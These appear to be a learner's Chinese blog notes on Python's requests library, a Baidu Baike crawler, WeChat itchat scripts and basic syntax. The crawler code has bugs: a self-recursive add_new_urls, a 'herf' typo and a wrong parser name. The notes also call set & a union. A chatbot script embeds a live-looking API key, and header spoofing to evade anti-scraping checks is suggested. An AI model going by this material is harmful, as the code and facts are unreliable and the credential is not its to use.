python:requests模块介绍

发送请求

使用 Requests 发送网络请求非常简单。
一开始要导入 Requests 模块:

1
>>> import requests

然后,尝试获取某个网页。本例子中,我们来获取 Github 的公共时间线:

1
>>>r= requests.get('https://github.com/timeline.json')

现在,我们有一个名为 r 的 Response 对象。我们可以从这个对象中获取所有我们想要的信息。
Requests 简便的 API 意味着所有 HTTP 请求类型都是显而易见的。例如,你可以这样发送一个 HTTP POST 请求:

1
>>> r = requests.post("http://httpbin.org/post")

漂亮,对吧?那么其他 HTTP 请求类型:PUT,DELETE,HEAD 以及 OPTIONS 又是如何的呢?都是一样的简单:

1
2
3
4
>>> r = requests.put("http://httpbin.org/put")  
>>> r = requests.delete("http://httpbin.org/delete")
>>> r = requests.head("http://httpbin.org/get")
>>> r = requests.options("http://httpbin.org/get")

都很不错吧,但这也仅是 Requests 的冰山一角呢。

传递 URL 参数

你也许经常想为 URL 的查询字符串(query string)传递某种数据。如果你是手工构建 URL,那么数据会以键/值对的形式置于 URL 中,跟在一个问号的后面。例如, httpbin.org/get?key=val。 Requests 允许你使用 params 关键字参数,以一个字符串字典来提供这些参数。举例来说,如果你想传递 key1=value1 和 key2=value2 到 httpbin.org/get ,那么你可以使用如下代码:

1
2
>>> payload = {'key1': 'value1', 'key2': 'value2'}  
>>> r = requests.get("http://httpbin.org/get", params=payload)

通过打印输出该 URL,你能看到 URL 已被正确编码:

1
2
>>> print(r.url)  
http://httpbin.org/get?key2=value2&key1=value1

注意字典里值为 None 的键都不会被添加到 URL 的查询字符串里。
你还可以将一个列表作为值传入:

1
2
3
4
5
>>> payload = {'key1': 'value1', 'key2': ['value2', 'value3']}  

>>> r = requests.get('http://httpbin.org/get',params=payload)
> print(r.url)
http://httpbin.org/get?key1=value1&key2=value2&key2=value3

响应内容

我们能读取服务器响应的内容。再次以 GitHub 时间线为例:

1
2
3
4
>>> import requests  
>>> r = requests.get('https://github.com/timeline.json')
>>> r.text
u'[{"repository":{"open_issues":0,"url":"https://github.com/...

Requests 会自动解码来自服务器的内容。大多数 unicode 字符集都能被无缝地解码。
请求发出后,Requests 会基于 HTTP 头部对响应的编码作出有根据的推测。当你访问 r.text 之时,Requests 会使用其推测的文本编码。你可以找出 Requests 使用了什么编码,并且能够使用 r.encoding 属性来改变它:

1
2
3
>>> r.encoding  
'utf-8'
>>> r.encoding = 'ISO-8859-1'

如果你改变了编码,每当你访问 r.text ,Request 都将会使用 r.encoding 的新值。你可能希望在使用特殊逻辑计算出文本的编码的情况下来修改编码。比如 HTTP 和 XML 自身可以指定编码。这样的话,你应该使用 r.content 来找到编码,然后设置 r.encoding为相应的编码。这样就能使用正确的编码解析 r.text 了。
在你需要的情况下,Requests 也可以使用定制的编码。如果你创建了自己的编码,并使用 codecs 模块进行注册,你就可以轻松地使用这个解码器名称作为 r.encoding 的值, 然后由 Requests 来为你处理编码。
二进制响应内容
你也能以字节的方式访问请求响应体,对于非文本请求:

1
2
>>> r.content  
b'[{"repository":{"open_issues":0,"url":"https://github.com/...

Requests 会自动为你解码 gzip 和 deflate 传输编码的响应数据。
例如,以请求返回的二进制数据创建一张图片,你可以使用如下代码:

1
2
3
4
>>> from PIL import Image  
>>> from io import BytesIO

>>> i = Image.open(BytesIO(r.content))

JSON 响应内容

Requests 中也有一个内置的 JSON 解码器,助你处理 JSON 数据:

1
2
3
4
5
>>> import requests

>>> r = requests.get('https://github.com/timeline.json')
>>> r.json()
[{u'repository': {u'open_issues': 0, u'url': 'https://github.com/...

如果 JSON 解码失败, r.json() 就会抛出一个异常。
例如,响应内容是 401 (Unauthorized),尝试访问 r.json() 将会抛出 ValueError: No JSON object could be decoded 异常。
需要注意的是,成功调用 r.json() 并不意味着响应的成功。有的服务器会在失败的响应中包含一个 JSON 对象(比如 HTTP 500 的错误细节)。这种 JSON 会被解码返回。要检查请求是否成功,请使用 r.raise_for_status() 或者检查 r.status_code 是否和你的期望相同。
原始响应内容
在罕见的情况下,你可能想获取来自服务器的原始套接字响应,那么你可以访问 r.raw。 如果你确实想这么干,那请你确保在初始请求中设置了 stream=True。具体你可以这么做:

1
2
3
4
5
>>> r = requests.get('https://github.com/timeline.json', stream=True)  
>>> r.raw
<requests.packages.urllib3.response.HTTPResponse object at 0x101194810>
>>> r.raw.read(10)
'\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\x03'

但一般情况下,你应该以下面的模式将文本流保存到文件:

1
2
3
with open(filename, 'wb') as fd:  
for chunk in r.iter_content(chunk_size):
fd.write(chunk)

使用 Response.iter_content 将会处理大量你直接使用 Response.raw 不得不处理的。 当流下载时,上面是优先推荐的获取内容方式。 Note that chunk_size can be freely adjusted to a number that may better fit your use cases.

定制请求头

如果你想为请求添加 HTTP 头部,只要简单地传递一个 dict 给 headers 参数就可以了。
例如,在前一个示例中我们没有指定 content-type:

1
2
3
4
>>> url = 'https://api.github.com/some/endpoint'
>>> headers = {'user-agent': 'my-app/0.0.1'}

>>> r = requests.get(url, headers=headers)

注意: 定制 header 的优先级低于某些特定的信息源,例如:
如果在 .netrc 中设置了用户认证信息,使用 headers= 设置的授权就不会生效。而如果设置了 auth= 参数,.netrc 的设置就无效了。
如果被重定向到别的主机,授权 header 就会被删除。
代理授权 header 会被 URL 中提供的代理身份覆盖掉。
在我们能判断内容长度的情况下,header 的 Content-Length 会被改写。
更进一步讲,Requests 不会基于定制 header 的具体情况改变自己的行为。只不过在最后的请求中,所有的 header 信息都会被传递进去。
注意: 所有的 header 值必须是 string、bytestring 或者 unicode。尽管传递 unicode header 也是允许的,但不建议这样做。
更加复杂的 POST 请求
通常,你想要发送一些编码为表单形式的数据——非常像一个 HTML 表单。要实现这个,只需简单地传递一个字典给 data 参数。你的数据字典在发出请求时会自动编码为表单形式:

1
2
3
4
5
6
7
8
9
10
11
12
>>> payload = {'key1': 'value1', 'key2': 'value2'}

>>> r = requests.post("http://httpbin.org/post", data=payload)
>>> print(r.text)
{
...
"form": {
"key2": "value2",
"key1": "value1"
},
...
}

你还可以为 data 参数传入一个元组列表。在表单中多个元素使用同一 key 的时候,这种方式尤其有效:

1
2
3
4
5
6
7
8
9
10
11
12
13
>>> payload = (('key1', 'value1'), ('key1', 'value2'))
>>> r = requests.post('http://httpbin.org/post', data=payload)
>>> print(r.text)
{
...
"form": {
"key1": [
"value1",
"value2"
]
},
...
}

很多时候你想要发送的数据并非编码为表单形式的。如果你传递一个 string 而不是一个 dict,那么数据会被直接发布出去。
例如,Github API v3 接受编码为 JSON 的 POST/PATCH 数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
>>> import json

>>> url = 'https://api.github.com/some/endpoint'
>>> payload = {'some': 'data'}

>>> r = requests.post(url, data=json.dumps(payload))

此处除了可以自行对 dict 进行编码,你还可以使用 json 参数直接传递,然后它就会被自动编码。这是 2.4.2 版的新加功能:
>>> url = 'https://api.github.com/some/endpoint'
>>> payload = {'some': 'data'}

>>> r = requests.post(url, json=payload)

POST一个多部分编码(Multipart-Encoded)的文件
Requests 使得上传多部分编码文件变得很简单:
>>> url = 'http://httpbin.org/post'
>>> files = {'file': open('report.xls', 'rb')}

>>> r = requests.post(url, files=files)
>>> r.text
{
...
"files": {
"file": "<censored...binary...data>"
},
...
}

你可以显式地设置文件名,文件类型和请求头:

1
2
3
4
5
6
7
8
9
10
11
12
>>> url = 'http://httpbin.org/post'
>>> files = {'file': ('report.xls', open('report.xls', 'rb'), 'application/vnd.ms-excel', {'Expires': '0'})}

>>> r = requests.post(url, files=files)
>>> r.text
{
...
"files": {
"file": "<censored...binary...data>"
},
...
}

如果你想,你也可以发送作为文件来接收的字符串:

1
2
3
4
5
6
7
8
9
10
11
12
>>> url = 'http://httpbin.org/post'
>>> files = {'file': ('report.csv', 'some,data,to,send\nanother,row,to,send\n')}

>>> r = requests.post(url, files=files)
>>> r.text
{
...
"files": {
"file": "some,data,to,send\\nanother,row,to,send\\n"
},
...
}

如果你发送一个非常大的文件作为 multipart/form-data 请求,你可能希望将请求做成数据流。默认下 requests 不支持, 但有个第三方包 requests-toolbelt 是支持的。你可以阅读 toolbelt 文档 来了解使用方法。
在一个请求中发送多文件参考 高级用法 一节。
警告
我们强烈建议你用二进制模式(binary mode)打开文件。这是因为 Requests 可能会试图为你提供 Content-Length header,在它这样做的时候,这个值会被设为文件的字节数(bytes)。如果用文本模式(text mode)打开文件,就可能会发生错误。

响应状态码

我们可以检测响应状态码:

1
2
3
>>> r = requests.get('http://httpbin.org/get')
>>> r.status_code
200

为方便引用,Requests还附带了一个内置的状态码查询对象:

1
2
>>> r.status_code == requests.codes.ok
True

如果发送了一个错误请求(一个 4XX 客户端错误,或者 5XX 服务器错误响应),我们可以通过 Response.raise_for_status() 来抛出异常:

1
2
3
4
5
6
7
8
9
>>> bad_r = requests.get('http://httpbin.org/status/404')
>>> bad_r.status_code
404

>>> bad_r.raise_for_status()
Traceback (most recent call last):
File "requests/models.py", line 832, in raise_for_status
raise http_error
requests.exceptions.HTTPError: 404 Client Error

但是,由于我们的例子中 r 的 status_code 是 200 ,当我们调用 raise_for_status() 时,得到的是:

1
2
>>> r.raise_for_status()
None

一切都挺和谐哈。

响应头

我们可以查看以一个 Python 字典形式展示的服务器响应头:

1
2
3
4
5
6
7
8
9
10
>>> r.headers
{
'content-encoding': 'gzip',
'transfer-encoding': 'chunked',
'connection': 'close',
'server': 'nginx/1.0.4',
'x-runtime': '148ms',
'etag': '"e1ca502697e5c9317743dc078f67693f"',
'content-type': 'application/json'
}

但是这个字典比较特殊:它是仅为 HTTP 头部而生的。根据 RFC 2616, HTTP 头部是大小写不敏感的。
因此,我们可以使用任意大写形式来访问这些响应头字段:

1
2
3
4
5
>>> r.headers['Content-Type']
'application/json'

>>> r.headers.get('content-type')
'application/json'

它还有一个特殊点,那就是服务器可以多次接受同一 header,每次都使用不同的值。但 Requests 会将它们合并,这样它们就可以用一个映射来表示出来,参见 RFC 7230:
A recipient MAY combine multiple header fields with the same field name into one “field-name: field-value” pair, without changing the semantics of the message, by appending each subsequent field value to the combined field value in order, separated by a comma.
接收者可以合并多个相同名称的 header 栏位,把它们合为一个 “field-name: field-value” 配对,将每个后续的栏位值依次追加到合并的栏位值中,用逗号隔开即可,这样做不会改变信息的语义。

如果某个响应中包含一些 cookie,你可以快速访问它们:

1
2
3
4
5
>>> url = 'http://example.com/some/cookie/setting/url'
>>> r = requests.get(url)

>>> r.cookies['example_cookie_name']
'example_cookie_value'

要想发送你的cookies到服务器,可以使用 cookies 参数:

1
2
3
4
5
6
>>> url = 'http://httpbin.org/cookies'
>>> cookies = dict(cookies_are='working')

>>> r = requests.get(url, cookies=cookies)
>>> r.text
'{"cookies": {"cookies_are": "working"}}'

Cookie 的返回对象为 RequestsCookieJar,它的行为和字典类似,但界面更为完整,适合跨域名跨路径使用。你还可以把 Cookie Jar 传到 Requests 中:

1
2
3
4
5
6
7
>>> jar = requests.cookies.RequestsCookieJar()
>>> jar.set('tasty_cookie', 'yum', domain='httpbin.org', path='/cookies')
>>> jar.set('gross_cookie', 'blech', domain='httpbin.org', path='/elsewhere')
>>> url = 'http://httpbin.org/cookies'
>>> r = requests.get(url, cookies=jar)
>>> r.text
'{"cookies": {"tasty_cookie": "yum"}}'

重定向与请求历史

默认情况下,除了 HEAD, Requests 会自动处理所有重定向。
可以使用响应对象的 history 方法来追踪重定向。
Response.history 是一个 Response 对象的列表,为了完成请求而创建了这些对象。这个对象列表按照从最老到最近的请求进行排序。
例如,Github 将所有的 HTTP 请求重定向到 HTTPS:

1
2
3
4
5
6
7
8
9
10
>>> r = requests.get('http://github.com')

>>> r.url
'https://github.com/'

>>> r.status_code
200

>>> r.history
[<Response [301]>]

如果你使用的是GET、OPTIONS、POST、PUT、PATCH 或者 DELETE,那么你可以通过 allow_redirects 参数禁用重定向处理:

1
2
3
4
5
>>> r = requests.get('http://github.com', allow_redirects=False)
>>> r.status_code
301
>>> r.history
[]

如果你使用了 HEAD,你也可以启用重定向:

1
2
3
4
5
>>> r = requests.head('http://github.com', allow_redirects=True)
>>> r.url
'https://github.com/'
>>> r.history
[<Response [301]>]

超时

你可以告诉 requests 在经过以 timeout 参数设定的秒数时间之后停止等待响应。基本上所有的生产代码都应该使用这一参数。如果不使用,你的程序可能会永远失去响应:

1
2
3
4
>>> requests.get('http://github.com', timeout=0.001)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
requests.exceptions.Timeout: HTTPConnectionPool(host='github.com', port=80): Request timed out. (timeout=0.001)

注意
timeout 仅对连接过程有效,与响应体的下载无关。 timeout 并不是整个下载响应的时间限制,而是如果服务器在 timeout 秒内没有应答,将会引发一个异常(更精确地说,是在 timeout 秒内没有从基础套接字上接收到任何字节的数据时)If no timeout is specified explicitly, requests do not time out.

错误与异常

遇到网络问题(如:DNS 查询失败、拒绝连接等)时,Requests 会抛出一个 ConnectionError 异常。
如果 HTTP 请求返回了不成功的状态码, Response.raise_for_status() 会抛出一个 HTTPError 异常。
若请求超时,则抛出一个 Timeout 异常。
若请求超过了设定的最大重定向次数,则会抛出一个 TooManyRedirects 异常。
所有Requests显式抛出的异常都继承自 requests.exceptions.RequestException 。

python爬虫学习1

前提

  1. 最先肯定要复习一下正则不定式,当然还可以用XPath语言去替代正则 教程
    image

  2. 爬虫调度端:启动爬虫,停止爬虫,监视爬虫运行情况
    URL管理器:对将要爬取的和已经爬取过的URL进行管理;可取出带爬取的URL,将其传送给“网页下载器”
    网页下载器:将URL指定的网页下载,存储成一个字符串,在传送给“网页解析器”
    网页解析器:解析网页可解析出①有价值的数据②另一方面,每个网页都包含有指向其他网页的URL,解析出来后可补充进“URL管理器”
    image
    image

  1. URL管理器的实现方式有三种,一种是python内存中,利用set()函数储存url
    第二种是关联 第三种就是存放在缓存数据库中,如redis(这个不太明白 )
  2. 常见的网页下载器,官方的是urllib2,在py3.x后被改为urllib.request,支持登录网页的cookies处理以及代理处理),使用from urllib import

    request添加模块

  3. 基本
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    # coding:utf8  #当文件中有中文时,需要声明字符集  
    import urllib2
    import cookielib
    #引用urllib2、cookielib模块
    url='https://www.zhihu.com'
    cj=cookielib.CookieJar()
    #将查询数据赋值给变量
    opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
    urllib2.install_opener(opener)
    #向urllib2模块添加opener
    request=urllib2.Request(url)
    request.add_header('user-agent','Mozilla/5.0')
    response1=urllib2.urlopen(url)
    print response1.getcode()
    print cj
    print response1.read()
  4. 基本的urlopen()函数不支持验证、cookie或其他HTTP高级功能。要支持这些功能,必须使用build_opener()函数来创建自己的自定义Opener对象
  5. 网页解析器常用beatuifulsoup模块进行解析
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    # coding:utf8
    import urllib2
    from bs4 import BeautifulSoup
    url='https://www.zhihu.com'
    request=urllib2.Request(url)
    response1=urllib2.urlopen(url)
    soup=BeautifulSoup(response1.read(),'html.parser',from_encoding="utf-8")
    #第一个参数是解析出网页的代码,第二个是解析方式,第三个是用的字符集
    links=soup.find_all('a')
    for link in links:
    print link.name,link['href'],link.get_text()
    #遍历网页html代码中的a节点,并输出节点的名字、链接、对应文本
    print(soup)
  6. 通过一个简单爬虫实例来学习
    控制器
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    #coding:utf-8
    import url_manager,html_downloader,html_parser,html_outputer
    class SpiderMain(object):
    def __init__(self):
    self.urls=url_manager.UrlManeger()
    self.downloader=html_downloader.HtmlDownloader()
    self.parser=html_parser.HtmlParser()
    self.outputer=html_outputer.HtmlOutputer()
    #初始化管理器、下载器、解析器、输出器
    def craw(self,root_url):
    count=1#记录爬取的次数
    self.urls.add_new_url(root_url)
    while self.urls.has_new_url():#如果有新的url
    try:
    new_url=self.urls.get_new_url() #放进一个新的url
    print 'craw %d:%s'%(count,new_url)
    html_cont=self.downloader.download(new_url)#下载新url对应的页面
    new_urls,new_data=self.parser.parser(new_url,html_cont)#对新的url进行代码解析,又得到新的url和有效数据
    self.urls.add_new_urls(new_urls)#将得到的新的url加入到url管理器进行爬取
    self.outputer.collect_data(new_data)#收集有效的数据
    if count==1000:#设置查找到1000个url结束爬取
    break
    count=count+1
    except:
    print 'craw failed'#标记url爬取失败
    self.outputer.output_html()#输出为html形式

    if __name__=="__main__":
    root_url="https://baike.baidu.com/item/Python"#设置爬虫的入口url
    obj_spider=SpiderMain()
    obj_spider.craw(root_url)#启动爬虫
    管理器
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    #coding:utf-8
    class UrlManeger(object):
    def __init__(self):
    self.new_urls=set()#将新的url输出为一个集合并且删除重复元素
    self.old_urls=set()#将新的url输出为一个集合并且删除重复元素

    def add_new_url(self, url):#向管理器中添加一个新的url
    if url is None: #判断url是否存在
    return
    if url not in self.new_urls and url not in self.old_urls: #判断url是否在待爬取或已爬取页面
    self.new_urls.add(url)#将url添加到未爬取列表

    def add_new_urls(self, new_urls):#向管理器中添加批量url
    if new_urls is None or len(new_urls) == 0:
    return
    for url in new_urls:#从urls中遍历url添加到URL集合中
    self.add_new_urls(url)

    def has_new_url(self):#验证是否添加新的url
    return len(self.new_urls) != 0

    def get_new_url(self):#从管理器中拿出一个新的url进行爬取
    new_url=self.new_urls.pop()#新的url集合中随机取出一个url并且从集合中删去这个url
    self.old_urls.add(new_url)
    return new_url
    解析器
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    class HtmlParser(object):
    def _get_new_urls(self, page_url, soup):
    new_urls=set()
    links=soup.find_all('a', href=re.compile(r'/item/'))#正则匹配,查询a标签中href属性
    for link in links:#遍历links列表(匹配的url片段)
    new_url=link['herf']#抓取herf属性值(link被储存为字典,用[]取出数据)
    new_full_url=urlparse.urljoin(page_url,new_url)#将url拼接起来
    new_urls.add(new_full_url)#将补全的url加入未爬取url名单
    return new_urls

    def _get_new_data(self, page_url, soup):
    res_data={}#建立一个res_data字典
    res_data['url']=page_url#加入url
    title_node=soup.find('dd', class_="lemmaWgt-lemmaTitle-title").find("h1")#抓取dd标签class属性的hi属性
    res_data['title']=title_node.get_text()#取得h1标签文本
    sammary_node=soup.find('div', class_="lemma-summary")
    res_data['sammary']=sammary_node.get_text()
    return res_data#输出字典

    def parser(self, new_url, html_cont):
    if new_url is None or html_cont is None:#判断页面是否存在
    return
    soup=BeautifulSoup(html_cont, 'html_parser',from_encoding='utf-8')#以utf-8字符集解析页面html代码
    new_urls=self._get_new_urls(new_url, soup)
    new_data=self._get_new_data(new_url, soup)
    return new_urls, new_data
    下载器
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    #coding:utf-8
    #这里只使用了最简单的方法
    import urllib2#载入urllib2模块

    class HtmlDownloader(object):
    def download(self, url):
    if url is None:#验证url是否存在
    return None
    response=urllib2.urlopen(url)#下载url
    if response.getcode() != 200:#判断状态码
    return None
    res=response.read()
    return res#读取网页内容
    输出器
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    #coding:utf-8
    class HtmlOutputer(object):
    def __init__(self):
    self.datas=[]#设置data为一个列表
    def collect_data(self,data):
    if data is None:
    return
    self.datas.append(data)

    def output_html(self):
    fout=open('output.html','w')#写出一个html文件
    fout.write('<html>')
    fout.write('<meta charset=\'utf-8\'>')
    fout.write('<body>')
    fout.write('<table>')
    for data in self.datas:
    fout.write('<tr>')
    fout.write('<td>%s</td>'%data['url'])
    fout.write('<td>%s</td>'%data['title'].encode('utf-8'))
    fout.write('<td>%s</td>'%data['sammary'].encode('utf-8'))
    fout.write('</tr>')
    fout.write('</table>')
    fout.write('</body>')
    fout.write('</html>')
    fout.close()
    这个爬取百度百科的模块是按照控制器、URL管理器、下载器、解析器、输出器分开编写的
  7. 最常用的是“.text”和”.content”,前者输出unicode,后者输出二进制
  8. 这是PIL模块中resize函数(重新设置图片尺寸)resize((size, size), Image.ANTIALIAS)图片质量的参数
    image
  9. 某些网站如知乎,存在反爬虫机制,如果要成功加载页面需要伪造头文件
  10. 照着网上的教程,熟悉一下itchat模块,做微信头像拼图的代码
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    # -*- coding: utf-8 -*
    import itchat
    import os
    from math import sqrt
    from PIL import Image

    itchat.auto_login()#微信登录接口
    for friend in itchat.get_friends(update=True)[0:]:#获取好友列表,并保持更新
    print friend['NickName'], friend['RemarkName'], friend['Sex'], friend['Province'], friend['Signature']#输出好友的基本信息
    img = itchat.get_head_img(userName=friend["UserName"])#获取好友头像
    path="C:\\Users\\14564\\Pictures\\pachong\\"+friend['NickName']+'('+friend['RemarkName']+').jpg'#保存获取的头像
    try:
    with open(path,'wb') as f:
    f.write(img)
    except Exception as e:
    print repr(e)

    def pt():
    path2="C:\\Users\\14564\\Pictures\\pachong\\"
    pList=[]
    for item in os.listdir(path2):#遍历出单个头像
    imgPath=os.path.join(path2,item)
    pList.append(imgPath)#将头像图片保存到字典中
    total=len(pList)#计算图片个数
    line=int(sqrt(total))#计算合成图片边长
    NewImage=Image.new('RGB',(128*line,128*line))#创建一个新的底片存放大小为128px的所有头像
    x=0
    y=0
    for item in pList:
    try:
    Img=Image.open(item)
    Img=Img.resize((128,128),Image.ANTIALIAS)#将头像图片改变大小
    NewImage.paste(Img,(x*128,y*128))#不断添加头像
    x+=1
    except IOError:
    print "第%d行,%d列文件读取失败!IOError:%s"%(y,x,item)
    x-=1
    if x==line:#将一行填完后移动到下一行
    x=0
    y+=1
    if (x+line*y)==line*line:#判断
    break
    NewImage.save(path2+'final.jpg')#保存为final.jpg
    pt()
    itchat.run()
    8.一个关于微信聊天机器人的程序
    # -*- coding: utf-8 -*
    import itchat, time, re
    from itchat.content import *
    import urllib2, urllib
    import json

    @itchat.msg_register([TEXT])#向注册方法传入msg包含text文本消息内容,这里的@是一个装饰器
    def text_reply(msg):
    info=msg['Text'].encode('UTF-8')#将得到的消息存放在info变量中
    url='http://wwww.tuling123.com/openapi/api'#链接到图灵机器人api
    data={u"key":"f0fa6a1ec8c542aeaa606a14b2ee8ecd","info":info}#post传入参数
    data=urllib.urlencode(data)
    url2=urllib2.Request(url,data)

    response= urllib2.urlopen(url2)
    apicontent=response.read()
    s=json.loads(apicontent,encoding="utf-8")
    print 's==',s
    if s['code']==100000:
    itchat.send(s['text'],msg['FromUserName'])#将从api得到的json文本发送给好友
    itchat.auto_login(hotReload=True)#hotReload表示保持登录状态
    itchat.run(debug=True)
  11. 关于requests模块的一些补充
    常见报错说明
    image
    1
    2
    with open('小猪图片.jpg','wb') as f:
    f.write(r.content)
    r.content将返回图像的二进制内容,当我们要保存到本地文件时,写入方式必须为“wb”,否则会报错

python基础学习

函数

1.

print(L[0][0], L[1][1], L[-1][-1], sep=’\n’) 像这样在print里面最后加sep=’\n’可以起到换行的作用,而且换行后面有空格

2.

list列表使用[]括起来。其中元素可以删改,tuple元组使用(),其中不可以删改,都可以在其中进行嵌套

3.

条件函数if内部代码只需要缩进两行就可以了,不用{}

4.
1
2
3
4
5
6
7
age = 20
if age >= 6:
print('teenager')
elif age >= 18:
print('adult')
else:
print('kid')

其中最后结果只会显示teenager,if语句执行有个特点,它是从上往下判断,如果在某个判断上是True,把该判断对应的语句执行后,就忽略掉剩下的elif和else

5.

input()函数输入的值作为字符串,不能参加比较,可以用int()、float()函数进行转变

6.

Python的循环有两种,一种是for…in循环,依次把list或tuple中的每个元素迭代出来

1
2
3
names = ['Michael', 'Bob', 'Tracy']
for name in names:
print(name)

第二种循环是while循环,只要条件满足,就不断循环,条件不满足时退出循环。比如我们要计算100以内所有奇数之和,可以用while循环实现:

1
2
3
4
5
6
sum = 0
n = 99
while n > 0:
sum = sum + n
n = n - 2
print(sum)
7.

python中的字典dict与js中的json表达方式极为相似,采用键值对形式表达用{}括起每一个key对应一个value,要删除一个key,用pop(key)方法

8.

set相对于dict只有key,相当于一个无序无重复数字的集合,&表示并集,|表示合集,

9.

replace()函数只能改变值,不能改变变量,要改变只有重新定义变量

1
2
3
4
5
6
>>> a = 'abc'
>>> b = a.replace('a', 'A')
>>> b
'Abc'
>>> a
'abc'
10.

在print函数中逗号起分割作用,涉及几个变量时,必须加,分割,不会显示
abs()转化绝对值
str()转化字符串
int()转化整数
hex()转化十六进制
len()返回字符串的字符数

11.

pass语句可以在定义函数中作为占位符,def定义函数也要用:引起内部函数,结束定义函数用return返回值,import math语句表示导入math包

12.

自定义函数必选参数在前,默认参数在后,要修改默认参数的值,要把对应变量写出来复制,单写值无法改变变量,定义默认参数要牢记一点:默认参数必须指向不变对象!

13.

在函数中我们还可以设置可变参数,可变参数就是传入的参数个数是可变的,只是在参数前面加了一个*号,省去了在执行函数时再写一遍list、tuple,也就是说可变参数就是可以把列表中的元素提取出来作为可变元素。还有就是关键字参数,允许你传入多个值,还可以用关键字参数调用已有的list;;而命名关键字参数则可以限制自定义参数的名称

1
2
3
4
5
6
7
8
9
def person(name,age,**kw):
print('name:',name,'age:',age,"other:",kw)
person('jason',19,city='chengdu')
>>>name: jason age: 19 other: {'city': 'chengdu'}

def person(name, age, *, city, job):
print(name, age, city, job)
person('Jack', 24, city='Beijing', job='Engineer')
Jack 24 Beijing Engineer

便于理解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def f1(a, b, c=0, *args, **kw):
print('a =', a, 'b =', b, 'c =', c, 'args =', args, 'kw =', kw)
def f2(a, b, c=0, *, d, **kw):
print('a =', a, 'b =', b, 'c =', c, 'd =', d, 'kw =', kw)
>>> f1(1, 2)
a = 1 b = 2 c = 0 args = () kw = {}
>>> f1(1, 2, c=3)
a = 1 b = 2 c = 3 args = () kw = {}
>>> f1(1, 2, 3, 'a', 'b')
a = 1 b = 2 c = 3 args = ('a', 'b') kw = {}
>>> f1(1, 2, 3, 'a', 'b', x=99)
a = 1 b = 2 c = 3 args = ('a', 'b') kw = {'x': 99}
>>> f2(1, 2, d=99, ext=None)
a = 1 b = 2 c = 0 d = 99 kw = {'ext': None}
14.

加强记忆,python与C语言不一样! 语句结束不加分号,输入用input()且输入值为字符串,输出用print(),不用提前定义数据类型,Python是弱类型语言进行递归函数时就要防止栈溢出,在计算机中,函数调用是通过栈(stack)这种数据结构实现的,每当进入一个函数调用,栈就会加一层栈帧,每当函数返回,栈就会减一层栈帧。由于栈的大小不是无限的,所以,递归调用的次数过多,会导致栈溢出。

15.

关于切片,表达形式L[m,n],意思是从列表或元组L中提取出第m+1个元素到n-1个元素的切片,如果第一个索引是0,还可以省略为L[:n],切片也可以取负数,从后面取元素,倒数第一个元素的索引是-1,正着数则是以两个数的间隔做区分,比如0就在第一个元素以前,1在第一第二个元素中间,所以n要减1

1
2
3
L = ['Michael', 'Sarah', 'Tracy', 'Bob', 'Jack']
print(L[-3:])
>>>['Tracy', 'Bob', 'Jack']
16.

迭代:给定一个list或tuple,我们可以通过for循环来遍历这个list或tuple,对于字典的迭代,很可能并没有按照列出的顺序,因为dict的存储不是按照list的方式顺序排列

1
2
3
4
5
for ch in 'ABC':
... print(ch)
>>>A
B
C
17.

赋值语句:a, b = b, a + b
相当于:t = (b, a + b) # t是一个tuple
a = t[0]
b = t[1]

18.

map()函数接收两个参数,一个是函数,一个是Iterable,map将传入的函数依次作用到序列的每个元素,并把结果作为新的Iterator返回

1
2
3
4
5
6
>>> def f(x):
... return x * x
...
>>> r = map(f, [1, 2, 3, 4, 5, 6, 7, 8, 9])
>>> list(r)
[1, 4, 9, 16, 25, 36, 49, 64, 81]
19.

两个import语义有差异

1
2
import datetime
print(datetime.datetime.now())

是引入整个datetime包

1
2
from datetime import datetime
print(datetime.now())

是只引入datetime包里的datetime类
所以import之后前者是datetime这个包可见 后者是datetime.datetime这个类可见

20.

filter()接收一个函数和一个序列,用于过滤序列
例如,在一个list中,删掉偶数,只保留奇数,可以这么写:

1
2
3
4
def is_odd(n):
return n % 2 == 1
list(filter(is_odd, [1, 2, 4, 5, 6, 9, 10, 15]))
# 结果: [1, 5, 9, 15]

21.sorted()函数对list进行排序

1
2
>>> sorted([36, 5, -12, 9, -21], key=abs)
[5, 9, -12, -21, 36]

str.lower表示忽略大小写,reverse=True表示反向排序

从这几个函数理解高阶函数的意义就是能够利用其他函数对元素进行处理

22.

匿名函数lamba,就是只能有一个表达式,不用写return,返回值就是该表达式的结果。用匿名函数有个好处,因为函数没有名字,不必担心函数名冲突。此外,匿名函数也是一个函数对象,也可以把匿名函数赋值给一个变量,再利用变量来调用该函数

1
2
>>> list(map(lambda x: x * x, [1, 2, 3, 4, 5, 6, 7, 8, 9]))
[1, 4, 9, 16, 25, 36, 49, 64, 81]
23.

python2.x中print是一个语句,不用加括号,而在3.x中,print变成了一个函数,要加括号,其中的分隔符用sep定义,结束符用end定义,格式符用%定义,后加元组()

1
2
print "%f, % s" % (3.4, "Hello World!")  
3.400000, Hello World!

模块

1.
1
2
3
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
' a test module '

